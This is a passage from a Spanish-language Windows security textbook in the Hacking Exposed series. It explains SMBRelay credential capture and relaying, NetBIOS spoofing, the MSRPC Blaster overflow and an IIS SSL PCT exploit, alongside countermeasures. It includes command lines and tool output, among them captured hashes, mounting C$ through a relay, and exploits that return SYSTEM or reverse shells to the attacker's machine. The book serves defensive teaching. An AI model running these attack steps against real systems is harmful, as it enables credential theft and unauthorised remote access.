ese entorno es vulnerable, aunque todos los servidores se hayan puesto en el nivel 4 o 5.
Los clientes aún enviarán la respuesta de LM aunque el servidor no lo soporte.
Uno de los más grandes problemas que enfrentaba una organización cuando desplegaba el
antiguo valor del Registro LMCompatibilityLevel era el hecho de que los clientes antiguos de
Windows no podían enviar respuesta de NTLM. Este problema fue atendido con el Directory
Services Client, incluido en el CD-ROM de Windows 2000, bajo Clients\Win9x\Dsclient.exe.
Una vez instalado, DSClient permite a los clientes de Windows 9x enviar la respuesta de NTLM
2. Windows 9x aún debe estar configurado para enviar sólo la respuesta de NTLM 2 al crear un
Registro de LSA bajo HKLM\System\CurrentControlSet\Control y luego agregando el siguien-
te valor de registro:
Nombre del valor: LMCompatibility

Tipo de datos: REG_DWORD
Valor: 3
Rango válido: 0,3
NOTA En clientes de Windows 9x con DSClient instalado, este valor de Registro debe denominarse
LMCompatibility, no LMCompatibilityLevel, que se usa para la configuración de NT 4.
También es importante tomar nota de que el valor del nivel de autentificación de LAN Mana-
ger se aplica a comunicaciones de SMB. Otra clave del Registro controla la seguridad de la llamada
a procedimiento remoto de Microsoft (MSRPC, Microsoft Remote Procedure Call) y la autentifica-
ción integrada de Windows mediante HTTP en el cliente y en el servidor (deben coincidir):
HKLM\System\CurrentControlSet\Control\LSA\MSV1_0
Nombre del valor: NtlmMinClientSec o NtlmMinServerSec
Tipo de datos: REG_WORD
Valor: uno de los valores de abajo:
0x00000010- Integridad del mensaje
0x00000020- Confidencialidad del mensaje
0x00080000- Seguridad de la sesión de NTML 2
0x20000000- Cifrado de 128-bits
0x80000000- Cifrado de 56 bits
Por último, como indicamos con frecuencia en este capítulo, Windows 2000 y versiones pos-
teriores son capaces de realizar otro tipo de autentificación: Kerberos. Debido a que es un tipo
completamente distinto de protocolo de autentificación, también es vulnerable a olfateo de res-
puestas de LM. Por desgracia, no es posible forzar a los clientes a que utilicen Kerberos con sólo
establecer un valor de registro similar al nivel de autentificación de LM, de modo que mientras
haya sistemas de bajo nivel en su entorno, es probable que se use la autentificación de desafío-
respuesta de LM/NTLM.
05_SCAMBRAY_05.indd 147 7/28/08 8:56:02 PM

Además, en algunos escenarios, no se usará Kerberos en un entorno homogéneo de Win-

dows 2000 o posterior. Por ejemplo, si las dos máquinas están en un bosque diferente de
Windows 2000, No se usará Kerberos (a menos que se habilite una confianza de bosque cru-
zado, que sólo está disponible en dominios nativos de Windows; consulte el capítulo 2). Si los
dos equipos están en el mismo bosque, puede usarse Kerberos (pero sólo si se hace referencia a
los equipos por sus nombres de máquina de NetBIOS o nombres de DNS; el acceso a ellos me-
diante direcciones IP siempre usará desafío-respuesta de LM/NTLM). Por último, si dentro de
un dominio de Windows se usa una aplicación que no soporta Kerberos o que sólo soporta au-
tentificación heredada desafío-respuesta de LM/NTLM, obviamente no usará Kerberos, y el trá-
fico de la autentificación será vulnerable al olfateo de respuesta de LM.
Recuerde también que para configurar Kerberos en Windows 2000 y posteriores debe des-
plegar un dominio con Active Directory. Algunas buenas herramientas que se deben usar para
determinar si Kerberos se está usando para sesiones específicas son la utilería kerbtray del kit de
recursos, una herramienta gráfica, o la herramienta klist de línea de comandos. Analizaremos
Kerberos con más detalle en el apéndice A.
NOTA Recuerde que en páginas anteriores de este capítulo demostramos que también puede olfatearse la
autentificación de Kerberos.
SUBVERSIÓN DE LA AUTENTIFICACIÓN DE WINDOWS

Por último, alcanzamos el último de los tres vectores de ataque que nos propusimos analizar en
este capítulo. En contraste con la adivinación o el espionaje de contraseñas, en esta sección nos
concentraremos en analizar realmente el flujo de autentificación para cosechar credenciales y
hasta robar sesiones válidas de autentificación del cliente. Aquí nuestro análisis se divide en dos
partes:
• Ataques de servidores falsos

• Ataques de intermediario
Otros métodos para subvertir la secuencia de autentificación son ataques de paso del hash y
cambio de una sesión por otra. Ambos métodos requieren que el atacante ya haya obtenido ac-
ceso a una máquina de destino y se analizará de manera más detallada en el capítulo 7.
Redireccionamiento de SMB
Popularidad: 2
Simplicidad: 2
Impacto: 7
En mayo de 2001, Sir Dystic de Cult of the Dead Crow escribió y lanzó una herramienta lla-
mada SMBRelay con mucha fanfarria: The Register anunció de manera sensacionalista la herra-
mienta con el encabezado “Explotaciones devastan la seguridad de WinNT/2K”, al parecer sin
que se estuviera al tanto de las debilidades de la autentificación de LM que se habían tenido en
este punto por algún tiempo.
05_SCAMBRAY_05.indd 148 7/28/08 8:56:03 PM

SMBRelay es, en esencia, un servidor de SMB que puede cosechar hashes de nombres de
usuario y contraseña para tráfico entrante de SMB. Como su nombre lo indica, SMBRelay podía
actuar como más que un simple extremo falso de SMB; también podía realizar ataques de inter-
mediario dadas ciertas circunstancias. Analizaremos la funcionalidad de intermediario de
SMBRelay un poco más adelante en la sección “Ataques de intermediario”; por ahora, nos con-
centraremos en su uso como un simple servidor SMB falso.
El establecimiento de un servidor falso de SMBRelay es muy simple. El primer paso consiste
en ejecutar la herramienta SMBRelay con el interruptor de enumeración (/E) para identificar
una interfaz física apropiada en la cual ejecutar el escucha:
C:\>smbrelay /E
SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack
Copyright 2001: Sir Dystic, Cult of the Dead Cow
Send complaints, ideas and donations to sirdystic@cultdeadcow.com
[2] ETHERNET CSMACD - 3Com 10/100 Mini PCI Ethernet Adapter
[1] SOFTWARE LOOPBACK - MS TCP Loopback interface
Como se muestra en este ejemplo, la interfaz con índice 2 es la selección más apropiada porque se
trata de una tarjeta física que será accesible desde sistemas remotos (el adaptador Loopback sólo es
accesible para localhost). Por supuesto, con varios adaptadores las opciones son mayores, pero nos
apegaremos al caso más simple aquí y usaremos el adaptador del índice 2 en un análisis más amplio.
Tome en cuenta que este número de índice puede cambiar entre usos separados de SMBRelay.
El inicio del servidor requiere algunos trucos en Windows Server 2000 y sistemas posteriores
porque el sistema operativo no permitirá que otro proceso se una al puerto de SMB TCP 139
cuando el sistema operativo está usándolo. Una manera es deshabilitar temporalmente el TCP
139 al marcar Deshabilitar NetBIOS sobre TCP/IP, una opción que se encuentra al seleccionar
Propiedades, de la conexión de área local apropiada, y luego seleccionar Propiedades, de Proto-
colo Internet (TCP/IP), hacer clic en el botón Opciones avanzadas y seleccionar el botón de op-
ción apropiado en la ficha WINS, como se analizó en el capítulo 4. Una vez que se ha hecho esto,
SMBRelay puede unirse a TCP 139.
Si deshabilitar TCP 139 no es una opción, el atacante debe crear una dirección IP virtual en
la cual ejecutar el servidor SMB falso. Por fortuna, SMBRelay proporciona funcionalidad auto-
matizada para configurar y eliminar direcciones IP virtuales empleando un interruptor simple
de línea de comandos, /L+ dirección_ip. Sin embargo, hemos experimentado resultados
erráticos empleando el interruptor /L en Windows 2000 y recomendamos deshabilitar TCP 139,
como se explicó antes, en lugar de usar /L.
Hay un detalle adicional que se debe tomar en consideración cuando se usa SMBRelay en NT
4 Service Pack 6a y posteriores: si un cliente moderno de SMB falla en conectarse a TCP 139, tra-
tará entonces una conexión SMB en TCP 445. Para evitar que estos clientes posteriores rodeen el
servidor de SMBRelay falso escuchando en TCP 139, debe bloquearse TCP 445 o deshabilitarse
en el servidor falso. Debido a que la única manera de deshabilitar TCP 445 deja TCP 139 intacto,
la mejor manera consiste en bloquear TCP 445 utilizando el filtro IPSec (consulte el apéndice A).
En los siguientes ejemplos se ilustra SMBRelay ejecutándose en un host de Windows 2000 y
se supone que se ha deshabilitado TCP 139 (como se explicó) y que se ha bloqueado TCP 445
empleando un filtro IPSec. He aquí cómo empezar SMBRelay en Windows 2000, suponiendo
que la interfaz de índice 2 se usará para el escucha local y la dirección de retransmisión, y que el
servidor falso escuchará en la dirección IP de esta interfaz:
C:\>smbrelay /IL 2 /IR 2
SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack
05_SCAMBRAY_05.indd 149 7/28/08 8:56:03 PM

Copyright 2001: Sir Dystic, Cult of the Dead Cow

Send complaints, ideas and donations to sirdystic@cultdeadcow.com
Using relay adapter index 2: 3Com EtherLink PCI
Bound to port 139 on address 192.168.234.34
Posteriormente, SMBRelay empezará a recibir negociaciones de sesión SMB entrantes. Cuando

un cliente víctima negocia con éxito una sesión SMB, he aquí lo que hace SMBRelay:
Connection from 192.168.234.44:1526

Request type: Session Request 72 bytes
Source name: CAESARS <00>
Target name: *SMBSERVER <20>
Setting target name to source name and source name to 'CDC4EVER'...
Response: Positive Session Response 4 bytes
Request type: Session Message 137 bytes

SMB_COM_NEGOTIATE
Response: Session Message 119 bytes
Challenge (8 bytes): 952B499767C1D123

SMB_COM_SESSION_SETUP_ANDX
Password lengths: 24 24
Case insensitive password: 4050C79D024AE0F391DF9A8A5BD5F3AE5E8024C5B9489BF6
Case sensitive password: 544FEA21F61D8E854F4C3B4ADF6FA6A5D85F9CEBAB966EEB
Username: "Administrator"
Domain: "CAESARS-TS"
OS: "Windows 2195"
Lanman type: "Windows 5.0"
???: ""
OS: "Windows 5.0"
Lanman type: "Windows LAN Manager"
Domain: "CAESARS-TS"
Password hash written to disk

Connected?
Relay IP address added to interface 2
relaying for host CAESARS 192.168.234.44
Como puede ver, se han capturado contraseñas tanto de LM (que no es sensible a mayúsculas y
minúsculas) como de NTLM (que sí lo es) y se han escrito en el archivo hashes.txt en el directorio
actual de trabajo. Este archivo puede importarse en L0phtcrack para descubrimiento.
Debido a las diferencias de formato con versiones posteriores a 2.52, los hashes capturados por
NOTA
SMBRelay no pueden importarse directamente en L0phtcrack.
Lo que es peor, ahora el sistema del atacante puede acceder a la máquina del cliente al sim-
plemente conectarlo mediante la dirección de retransmisión, que como opción predeterminada
es 192.1.1.1. He aquí cuál es su aspecto:
05_SCAMBRAY_05.indd 150 7/28/08 8:56:04 PM

c:\>net use * \\192.1.1.1\c$

La unidad E: está conectada a \\192.1.1.1\c$.

C:\>dir e:
El volumen de la unidad G no tiene etiqueta.
El número de serie del volumen es 44F0-BFDD
Directorio de G:\
02/12/2000 10:51p <R> Documents and Settings

02/12/2000 10:08p <0x000A> Intepub
25/05/2001 03:47a <0x000A> Archivos de programa
25/05/2001 03:47a <0x000A> WINNT
0 archivos 0 bytes
4 dirs 44,405,624,832 bytes libres
En el sistema cliente de Windows 2000 que está conectado sin saberlo al servidor de SMBRe-
lay en el ejemplo anterior, se observó el siguiente comportamiento. En primer lugar, al parecer
falló el comando original net use, lanzando el error del sistema 64. La ejecución de net use
indicará que no se han montado unidades. Sin embargo, la ejecución de net session revelará
que está conectado sin saberlo al nombre de máquina falsificado (CDC4EVER, que SMBRelay
establece como opción predeterminada, a menos que se cambie utilizando el parámetro /S
nombre):
C:\cliente>net use \\192.168.234.34\ipc$ * /u:Administrador

Escriba la contraseña para \\192.168.234.34\ipc$
El nombre de red especificado ya no está disponible.
C:\cliente>net use
No se registrarán las nuevas conexiones.
No hay entradas en la lista.
C:\cliente>net session
Equipo Nombre de usuario Tipo de cliente Tiempo inactivo abierto

-------------------------------------------------------------------------
\\CDC4EVER ADMINISTRADOR Propiedad de cDc 0 00:00:27
Algunos problemas suelen surgir cuando se usa SMBRelay. El siguiente ejemplo ilustra és-
tos. La dirección IP de nuestra víctima es 192.168.234.223.
Connection from 192.168.234.223:2173

Error receiving data from incoming connection
05_SCAMBRAY_05.indd 151 7/28/08 8:56:04 PM

Esto suele ocurrir cuando la víctima proporciona una combinación de nombre de usuario/con-
traseña que no es válida. SMBRelay seguirá escuchando, pero encontrará errores posteriores:
Connection rejected: 192.168.234.223 already connected
Una vez que se ha intentado una conexión desde la dirección IP de una víctima determinada y
falla, todos los intentos adicionales de esta dirección generarán este error. (Esto es de acuerdo
con el diseño del programa, como se estableció en el archivo readme). También puede experi-
mentar este problema aunque la negociación inicial tenga éxito pero recibe un mensaje como
“Login failure code 0xC000006D)”. El restablecimiento de SMBRelay alivia estos problemas
(sólo oprima ctrl+c para detenerlo. Además, tal vez vea entradas falsas como la siguiente:
Connection from 169.254.9.119:2174

Unable to connect to 169.254.9.119:139
Éste es el adaptador Loopback que hace conexiones con el servidor de SMBRelay (es seguro ig-
norarlo).
Recuerde que también es posible usar redireccionamiento/envenenamiento de caché para
redirigir el tráfico del cliente a un servidor SMB falso; consulte la cuarta edición de Hacking Ex-
posed: Network Security Secrets & Solutions, capítulo 9.
Contramedidas ante el redireccionamiento de SMB

En teoría, es muy difícil defenderse de SMBRelay. Debido a que asegura tener la capacidad de
negociar todos los dialectos diferentes de autentificación de LM/NTLM, debe ser capaz de cap-
turar cualquier autentificación hacia la que se dirija.
La firma digital de las comunicaciones de SMB (analizadas más adelante en la sección “Con-
tramedidas ante intermediarios”) puede usarse para combatir los ataques de intermediarios de
SMBRelay, pero no siempre desencarrilará los ataques de servidor fraudulento porque SMBRe-
lay puede degradar la negociación de canal seguro con los clientes víctimas, si es posible. Se
encontrará más información acerca de la firma SMB en “Referencias y lecturas adicionales”. La
configuración predeterminada en Windows Vista es más restrictiva en permitir las comunicacio-
nes no firmadas que las versiones anteriores de Windows.
Falsificación de nombres de NetBIOS

Microsoft Windows soporta varios protocolos de resolución de nombres. Uno de los más anti-
guos, la resolución de nombres de NetBIOS, funciona al transmitir consultas de nombre, lo que
facilita el ataque.
El ataque funciona al tener a un programa escuchando consultas de transmisión en el puerto
137/UDP y respondiendo con una resolución de nombres positiva con una dirección IP de elec-
ción del atacante. En la figura 5-11 se muestra un falsificador de nombre simple de NetBIOS dis-
ponible de www.toolcrypt.org/index.html?hew.
Contramedidas a la falsificación de nombres de NetBIOS

Poco puede hacerse para protegerse de la falsificación de nombres de NetBIOS, si la red en cues-
tión necesita la resolución de nombres de NetBIOS para funcionar. Si ésta puede deshabilitarse
sin un impacto negativo en la funcionalidad de la red, debe desactivarse en todas las máquinas
de la red.
05_SCAMBRAY_05.indd 152 7/28/08 8:56:05 PM

Figura 5-11 Una herramienta de falsificación de nombre de NetBIOS por Toolcrypt.org
Ataques de intermediario
Popularidad: 2
Simplicidad: 2
Impacto: 8
Los ataques de intermediario fueron la principal razón para el gran impulso de SMBRelay
cuando se lanzó. Aunque el concepto de ataques de intermediario de SMB era muy viejo para el
momento en que se lanzó SMBRelay, era la primera herramienta de distribución amplia que ha-
cía automático el ataque.
He aquí un ejemplo de la configuración de un intermediario con SMBRelay. El atacante en
este ejemplo configura un servidor fraudulento en 192.168.234.251 empleando el interruptor
/L+, una dirección de retransmisión de 192.168.234.252 empleando /R y una dirección de servi-
dor de destino de 192.168.234.34 con /T:
C:\>smbrelay /IL 2 /IR 2 /R 192.168.234.252 /T 192.168.234.220
Luego un cliente víctima, 192.168.234.220, se conecta a la dirección del servidor fraudulento,

pensando que está hablando con el destino:
Connection from 192.168.234.220:1043
Request type: Session Request 72 bytes
Source name: GW2KNT4 <00>
Target name: *SMBSERVER <20>
Setting target name to source name and source name to 'CDC4EVER'...
Response: Positive Session Response 4 bytes

SMB_COM_NEGOTIATE
Challenge (8 bytes): 1DEDB6BF7973DD06
05_SCAMBRAY_05.indd 153 7/28/08 8:56:06 PM

Security signatures required by server *** THIS MAY NOT WORK!

Disabling security signatures
Observe que el servidor de destino se ha configurado para solicitar comunicaciones de SMB fir-
madas digitalmente y que SMBRelay trata de deshabilitar las firmas.

SMB_COM_SESSION_SETUP_ANDX
Password lengths: 24 24
Case insensitive password: A4DA35F982C8E17FA2BBB952CBC01382C210FF29461A71F1
Case sensitive password: F0C2D1CA8895BD26C7C7E8CAA54E10F1E1203DAD4782FB95
Username: "Administrator"
Domain: "NT4DOM"
OS: "Windows NT 1381"
Lanman type: ""
???: "Windows NT 4.0"
OS: "Windows NT 4.0"
Lanman type: "NT LAN Manager 4.0"
Domain: "NT4DOM"
Password hash written to disk

Connected?
Relay IP address added to interface 2
Bound to port 139 on address 192.168.234.252 relaying for host GW2KNT4
192.168.234.220
En este punto, el atacante se ha insertado con éxito en el flujo de SMB entre el cliente víctima y
el servidor de destino y ha derivado los hashes de LM y NTLM del cliente del desafío-respuesta.
La conexión con la dirección de retransmisión le dará acceso a los recursos del servidor de des-
tino. Por ejemplo, he aquí un sistema de ataque separado montando el recurso compartido C$
en la dirección de retransmisión:
c:\>net use * \\192.168.234.252\c$

La unidad G: está conectada a \\apio\c$.
He aquí el aspecto que tendrá la conexión del sistema de este atacante (192.168.234.50) en la con-
sola del servidor de SMBRelay:
*** Relay connection for target GW2KNT4 received from 192.168.234.50:1044

*** Sent positive session response for relay target GW2KNT4
*** Sent dialect selection response (7) for target GW2KNT4
*** Sent SMB Session setup response for relay to GW2KNT4
SMBRelay puede ser errático y los resultados no siempre son así de limpios, pero cuando se
implementan con éxito, éste es evidentemente un ataque devastador: el intermediario ha gana-
do acceso completo a los recursos del servidor de destino sin levantar en realidad un dedo.
05_SCAMBRAY_05.indd 154 7/28/08 8:56:07 PM

Otra técnica de intermediario es el uso de un proxy de SMB, que depende de que el atacante
esté en la ruta directa entre el cliente y el servidor, actuando como servidor para el cliente y como
cliente para el servidor.
Comparada con el uso de SMBRelay, esta técnica toma como destino el protocolo SMB y hace
posible realizar interacción activa con la configuración de la sesión y la secuencia de autentifica-
ción, como degradar el nivel de seguridad de SMB y modificar el desafío, inyectar hashes de
contraseña, o ambas opciones.
La degradación de la autentificación es para beneficio del atacante (ha sido muy común de-
gradar la autentificación a texto simple o una criptografía más débil). Esto muestra la importan-
cia de establecer requisitos para envío y exigir cifrado más elevado.
Por supuesto, el obstáculo aquí consiste en convencer a un cliente víctima de que se autenti-
fique en el servidor intermediario en primer lugar, pero ya hemos analizado varias maneras de
hacerlo. Una sería enviar un mensaje de correo electrónico malicioso al cliente víctima con un
hipervínculo incrustado con la dirección del servidor del SMBRelay intermediario. La otra sería
implementar un ataque de envenenamiento de ARP o de falsificación de nombres de NetBIOS
contra todo un segmento, causando que todos los sistemas del segmento se autentifiquen a tra-
vés del servidor intermediario fraudulento. En el capítulo 9 de Hacking Exposed, cuarta edición, se
analiza el redireccionamiento de ARP y el envenenamiento de caché.
Contramedidas ante ataques de intermediario

La aparentemente obvia contramedida contra SMBRelay consiste en configurar sistemas de
Windows para que usen firma SMB, lo que ahora hace referencia a comunicaciones cliente/ser-
vidor de red de Microsoft digitalmente firmadas. La firma SMB se introdujo con Windows NT 4
Service Pack 3 y se analiza en el artículo de la base de datos de conocimiento de Microsoft
Q161372 (consulte “Referencias y lecturas adicionales”, para conocer más información).
Si se configura Windows para la firma digital de comunicaciones de cliente o servidor, se
hará que se firme criptográficamente cada bloque de comunicaciones de SMB. Un cliente o ser-
vidor puede revisar esta firma para asegurar la integridad y autenticidad de cada bloque, ha-
ciendo que la falsificación de servidor de SMB sea, en teoría, imposible (bueno, por lo menos
muy improbable, dependiendo del algoritmo de firma que se use). Estos parámetros se encuen-
tran bajo Directiva de seguridad/Directivas locales/Opciones de seguridad. Por tanto, si el ser-
vidor soporta firma SMB, Windows la usará. Para forzar la firma SMB, habilite de manera
opcional el parámetro y establézcalo en Siempre.
El uso de firma SMB acarrea sobrecarga de trabajo en la red, y puede causar problemas de
NOTA
conectividad con NT 4 o aún sistemas más nuevos, aunque la firma SMB esté habilitada en esos
sistemas.
Debido a que los ataques de intermediario de SMBRelay o SMBProxy son conexiones esen-
cialmente legítimas, no hay entradas del registro que indiquen lo que está ocurriendo. En el
cliente víctima, los problemas de conectividad pueden surgir cuando se conecta con servidores
intermediarios fraudulentos, incluido el error del sistema 59, “Ha ocurrido un error inesperado
en la red”. Con el uso de SMBRelay, la conexión se hará con éxito, gracias a SMBRelay, pero és-
te desconectará al cliente y secuestrará la conexión.
05_SCAMBRAY_05.indd 155 7/28/08 8:56:07 PM

EXPLOTACIÓN DE SERVICIOS EXCLUSIVOS DE WINDOWS

Los servicios específicos de Windows se describieron en el capítulo 3 (tabla 3-2). Nuestra defini-
ción de “servicios específicos de Windows” es más bien informal, pero en esencia abarca cual-
quier daemon o aplicación de red accesible remotamente que sea propiedad de Microsoft Cor-
poration o que sea implementación de propietario de Microsoft de un protocolo estándar (como
HTTP o Kerberos). En esta sección se cubren las explotaciones remotas de estos servicios.
Otro diferenciador clave para esta sección del capítulo es el enfoque en la explotación de esos
servicios. Aunque en este capítulo ya hemos analizado la adivinación de contraseñas, el espio-
naje de inicios de sesión y otras técnicas para aprovechar muchos de estos servicios, en esta sec-
ción nos concentraremos en errores conocidos para explotación en el código del software de
servicio. Puesto de otra manera, en esta sección se cubre la explotación de “señalar y hacer clic”
de un servicio vulnerable.
A medida que Microsoft sigue mejorando la seguridad de la plataforma base de Windows,
es más probable que los ataques se vuelquen hacia aplicaciones, en lugar de servicios del sistema
operativo. Por ejemplo, Windows Vista ha aplicado una cantidad considerable de ingeniería
para introducir tecnologías que dificultan más la explotación (aleatorización de las direcciones
de memoria, revisiones de código, bits no ejecutables, etc., como se analiza en el capítulo 12).
Para un atacante, esto significa que el sistema operativo tal vez ya no sea tan fácil de tomar como
objetivo, al menos en comparación con las aplicaciones que se ejecutan en el sistema. Un ejemplo
reciente (al momento de escribir esto) es la explotación de seguridad del núcleo de la aplicación
CA BrightStor ArcServe que se ejecuta en Vista.
Sobreflujo del búfer de la interfaz de MSRPC (Gusano Blaster)

Popularidad: 10
Simplicidad: 10
Impacto: 10
De manera muy parecida al SQL Slammer (consulte el capítulo 9), la génesis del gusano Blas-
ter está en un boletín de seguridad publicado por Microsoft acerca de una seria vulnerabilidad
en un protocolo casi olvidado que, no obstante, permeaba las infraestructuras de cómputo en
todo el mundo: el mapeador de extremo MSRPC. Esta vulnerabilidad es explotable vía TCP/
UDP 135, 139, 445 y 593 (y también vía HTTP si los servicios de Internet COM están instalados
en Windows 2000).
La vulnerabilidad real está en una interfaz del modelo distribuido de objetos de componen-
tes (DCOM, Distributed Component Object Model) dentro del proceso RPC. La explotación
exitosa de este problema lleva a privilegios equivalentes a LocalSystem, el peor tipo de compro-
miso remoto.
A principios de agosto de 2003, poco después de la publicación del boletín, varios grupos de
investigación de seguridad lanzaron el código prueba de concepto para explotar el sobreflujo
de búfer; con toda seguridad, un gusano automatizado se lanzó en breve e infectó a más de 400 000
equipos que no contaban con el parche. A este gusano se le apodó originalmente LOVESAN, pero
ahora es más conocido como Blaster. Detalles de la actividad del gusano y sus peligros pueden en-
contrarse en los sitios Web de comercializadores respetables de antivirus; en esencia, esta legión de
equipos infectados fue habilitado para lanzar un ataque de negación distribuida del servicio (DDos,
Distributed Denial of Service, consulte el capítulo 8) contra el dominio windowsupdate.com a
05_SCAMBRAY_05.indd 156 7/28/08 8:56:08 PM

partir del 16 de agosto de 2003 y hasta diciembre. Este obvio asalto a una infraestructura corpora-
tiva y la enorme escala del asalto no tenían precedente, pero por fortuna el dominio windowsup-
date.com ya no era usado por Microsoft Corporation, que simplemente eliminó los registros DNS
de ese dominio y, por tanto, aplastaron la amenaza. Sería interesante ver cómo reacciona la comu-
nidad de Internet a gusanos diseñados de manera más cuidadosa en el futuro.
En paralelo con el meteórico ascenso y caída de Blaster, y posterior a éstos, otras herramientas
se dedicaron a explotar el problema de MSRPC que emergió en Internet. Una de las más atemo-
rizantes fue un programa llamado kaht2, que rastreaba un rango de direcciones IP definidas por
el usuario para el error de MSRPC y luego desplegaba una shell para el atacante de cada sistema
vulnerable que encontraba. Kaht2 se muestra a continuación rastreando una subred de clase C:
_________________________________________________
KAHT II - MASSIVE RPC EXPLOIT
DCOM RPC exploit. Modified by aT4r@3wdesign.es
#haxorcitos && #localhost @Efnet Ownz you!!!
PUBLIC VERSION :P
________________________________________________
[+] Targets: 192.168.234.1-192.168.234.254 with 50 Threads

[+] Attacking Port: 135. Remote Shell at port: 37156
[+] Scan In Progress...
- Connecting to 192.168.234.4
Sending Exploit to a [WinXP] Server...
- Conectando con la Shell Remota...
Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.
C:\WINNT\system32>
C:\WINNT\system32>whoami
whoami
nt authority\system
Como puede ver en esta salida, kaht2 encuentra una máquina vulnerable de Windows XP, envía
una explotación al puerto 135 y luego despliega una shell para el atacante que se ejecuta como
LocalSystem.
NOTA Hemos experimentado resultados interesantes usando kaht2 (en ocasiones, parece imposible
encontrar puertos abiertos y en un sistema víctima de Windows causó que terminara el servicio
RPC, y el sistema se apagó a sí mismo 20 segundos después).
Por desgracia, la diversión no se detuvo con la primera vulnerabilidad de la interfaz MSRPC.

El 10 de septiembre de 2003, Microsoft anunció una segunda vulnerabilidad de explotación re-
mota de código en el mismo código de la interfaz MSRPC/DCOM. La segunda vulnerabilidad
tenía la misma gravedad e impacto que la primera. Aunque casi todas las organizaciones en-
durecieron sus defensas después del surgimiento de Blaster, la aparición de un segundo boletín
relacionado con el mismo código que el primero estaba desconcertando a los clientes que dedi-
caron un gran esfuerzo y tiempo para parchar el primer error. Por fortuna, ahora Microsoft ha
corregido todos los problemas de seguridad con las interfaces MSRPC. No obstante, los días en
que se suponía despreocupadamente que no existían amenazas vía MSRPC en sus varios puertos
se han acabado.
05_SCAMBRAY_05.indd 157 7/28/08 8:56:09 PM

Un interesante punto final acerca de Blaster es que el gusano surgió después de que se hicieron
públicas las sugerencias y las explotaciones. Parecería que el uso de las denominadas “explotacio-
nes de 0 días” en un gusano serían más deseables, porque no hay parche. En la práctica, es poco
usual ver 0 días usados a esa escala porque suelen llevar a parchado más rápido y a la pérdida de
un error valioso para la comunidad de atacantes (que podría usarse para fines criminales).
Contramedidas ante el sobreflujo del búfer de la interfaz de MSRPC

Microsoft anunció un método estándar de dos puntos para prevenir ataques contra la vulnera-
bilidad:
1. Bloquear los puertos de red utilizados para explotar este problema. Entre éstos se
incluyen los puertos UDP 135, 137, 138 y 445; los puertos TCP 135, 139, 445 y 593 y
los servicios de Internet COM (CIS, COM Internet Services) y RPC sobre HTTP, que
escuchan en los puertos 80 y 443.
2. Obtener el parche.
Para quienes quieren realmente sacrificar la utilidad ante la seguridad, deshabilitar DCOM
de acuerdo con el artículo 825750 de la base de datos de conocimiento de Microsoft evitará, por
supuesto, éste y futuros problemas. Sin embargo, esto entorpece fuertemente las comunica-
ciones remotas con la máquina afectada, de modo que pruebe por completo la compatibilidad
de esta opción con su trabajo antes de implementarla.
Explotación de SSL PCT de IIS

Popularidad: 10
Simplicidad: 10
Impacto: 7
Uno de los servicios de Windows que se atacan con más frecuencia ha sido la implementa-
ción del servidor de World Wide Web de Microsoft, Internet Information Services (IIS). Microsoft
ha hecho un buen trabajo al atender casi todas las vulnerabilidades importantes de seguridad en
IIS en versiones recientes. (Al momento de escribir esto, no habían aparecido vulnerabilidades
“críticas” de seguridad en una versión contemporánea de IIS desde 2002, de acuerdo con la he-
rramienta de búsqueda en línea del boletín de seguridad de Microsoft). Sin embargo, debido a
que aún encontramos versiones anteriores de IIS que se exponen a redes hostiles, y porque nun-
ca se sabe cuándo podría descubrirse una nueva vulnerabilidad seria de IIS, aquí incluimos una
breve descripción de una explotación de IIS.
Como se analizó en el capítulo 4, el descubrimiento de la marca y modelo de un servidor Web
es una tarea muy fácil. Tampoco es difícil investigar vulnerabilidades publicadas en el software
de servidor identificado. Por ejemplo, considere la condición de sobreflujo de búfer remoto de
SSL PCT que existe para IIS, como se describe en el boletín de seguridad de Microsoft MS04-011.
Ahora, todo lo que necesita un atacante es encontrar algún código de explotación. Para este ejem-
plo, fuimos a www.k-otik.com y encontramos una explotación empaquetada muy útil para la
vulnerabilidad de SSL/PCT (capa de conexiones seguras/tecnología de comunicación privada).
Después de descargar el código de explotación y llamarlo iisexplotacion.c, tratamos de com-
pilarlo. Para el conocedor promedio de secuencias de comandos, obtener código de explotación
05_SCAMBRAY_05.indd 158 7/28/08 8:56:09 PM

para compilación no siempre es una tarea simple, en especial con código que probablemente esté
recompilado de varias fuentes con segmentaciones poco juiciosas (y a menudo con propósitos
malévolos). Más adelante, después de resolver varios errores de compilación relacionados con
archivos de encabezado faltantes, bibliotecas, referencias no válidas, etc., además de un par de
viajes a Google para recordar cómo establecer parámetros básicos de compilador, ahora tenemos
nuestro iisexplotacion.exe listo para ejecutarse.
Lanzar iisexplotacion.exe desde la línea de comandos es muy sencillo (si se compara con la
compilación):
C:\>iisexplotacion www.sitio.com myservidor 8082

THCIISSLame v0.3 - IIS 5.0 SSL remote root exploit
tested on Windows 2000 Server german/english SP4
by Johnny Cyberpunk (jcyberpunk@thc.org)
[*] building buffer

[*] connecting the target
[*] exploit send
[*] waiting for shell
[*] Exploit successful ! Have fun !
La explotación regresa una shell al sistema del atacante en el puerto 8082 predeterminado.
Como lo acaba de atestiguar, la explotación de una vulnerabilidad conocida es muy simple
y no requiere mucho trabajo. Pero gracias a los marcos conceptuales de desarrollo de explotacio-
nes que han evolucionado con los años, puede ser más fácil que esto. Por ejemplo, Metasploit
Framework es una plataforma de fuente abierta para desarrollo, prueba y lanzamiento de códi-
go de explotación. Se amplifica fácilmente con módulos de explotación modulares aportados
por la comunidad mundial de personas enfrascadas en la “penetración legal usada sólo con fines
de prueba e investigación”, de acuerdo con el sitio Web de Metasploit. Metasploit se ejecuta en
casi todas las plataformas Linux/UNIX con Perl disponible. Se ofrece una versión basada
en Cygwin para sistemas Windows. Metasploit aporta a explotaciones fáciles de todo tipo de
vulnerabilidades, incluidos agujeros en la plataforma Web. Entre los marcos conceptuales para
explotación con soporte comercial se incluyen CORE IMPACT de Core Security Technologies y
CANVAS de Immunity. Para conocer vínculos con más información acerca de Metsploit, CORE
IMPACT y CANVAS, consulte “Referencias y lecturas adicionales”, al final de este capítulo.
El poder y la eficiencia de Metasploit es impresionante, aun en manos de adversarios con
poca habilidad. Después de descargar e instalar la distribución de Framework, un atacante pue-
de estar listo para desenrollar explotaciones preempaquetadas en 5 minutos. Metasploit incluso
incluye un estupendo asistente para instalación. ¡Qué conveniente! (y la gente piensa que hac-
kear es difícil). Una vez instalado, puede accederse a Metasploit con sus interfaces de línea de
comandos o Web.
